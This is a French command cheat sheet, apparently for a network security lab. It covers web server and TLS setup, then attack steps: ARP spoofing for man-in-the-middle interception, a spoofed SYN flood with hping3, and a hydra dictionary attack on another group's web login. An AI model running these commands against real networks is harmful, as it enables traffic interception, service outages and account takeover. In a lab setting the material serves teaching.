Configuration et gestion du serveur web

startx (Démarre l'interface graphique.)

mkdir /var/www/html (Crée un répertoire pour les fichiers web.)

busybox httpd -f -vv -h /var/www/html (Démarre le serveur web avec le répertoire spécifié.)

nano /etc/hosts (Modifie le fichier hosts pour ajouter des noms d'hôtes.)

ping 127.0.0.1 (Vérifie que le serveur web est accessible.)

Gestion de la sécurité et certificats SSL/TLS

mkdir /etc/lighttpd/security (Crée un répertoire pour stocker les certificats SSL.)

openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out alcest.crt -keyout alcest.key (Génère une clé privée et un certificat SSL auto-signé.)

cat alcest.key alcest.crt > alcest.pem (Combine la clé privée et le certificat en un fichier PEM.)

nano /etc/lighttpd/conf-enabled/tls.conf (Ouvre le fichier de configuration pour activer SSL/TLS.)

echo "<username>:$(busybox httpd -m '<password>')" > /etc/lighttpd/security/alcest.auth (Crée un fichier d'authentification pour le serveur web.)

systemctl start lighttpd (Démarre le serveur web sécurisé.)

Gestion du réseau et des attaques MITM

echo 1 > /proc/sys/net/ipv4/ip_forward (Active le forwarding IP.)

arpspoof -t <@IP cible> <@IP usurpée> (Intercepte le trafic entre deux machines.)

wireshark -i eth0 -k (Démarre Wireshark pour capturer le trafic réseau.)

Attaque par Denial of Service (DoS)

hping3 --flood --syn --spoof <@IP source usurpée> <@IP victime> (Envoie un grand nombre de paquets SYN pour saturer une cible.)

htop (Surveille l'utilisation des ressources système.)

tcpdump -i any (Analyse le trafic réseau en temps réel.)

Réseau étendu et configuration

/sbin/ifconfig (Affiche la configuration réseau actuelle.)

/mnt/netta/apps/vnet/nemu-vnet netadm (Lance le réseau virtuel sur le groupe principal.)

ip route add <réseau>/<masque> via <passerelle> (Ajoute une route pour un réseau spécifique.)

ping <IP de l'autre machine> (Vérifie la connectivité avec une autre machine.)

Attaque par dictionnaire

most /opt/wordlist/places.gz (Consulte le contenu d'un fichier de mots de passe.)

hydra -V -f -l admin -P <fichier de mots de passe> http-get://<IP nightwish de l'autre groupe> (Effectue une attaque par dictionnaire sur le site web.)

Arrêt des services

poweroff (Arrête proprement la machine.)

save() (Sauvegarde l'état de la session.)

quit() (Quitte l'environnement principal.)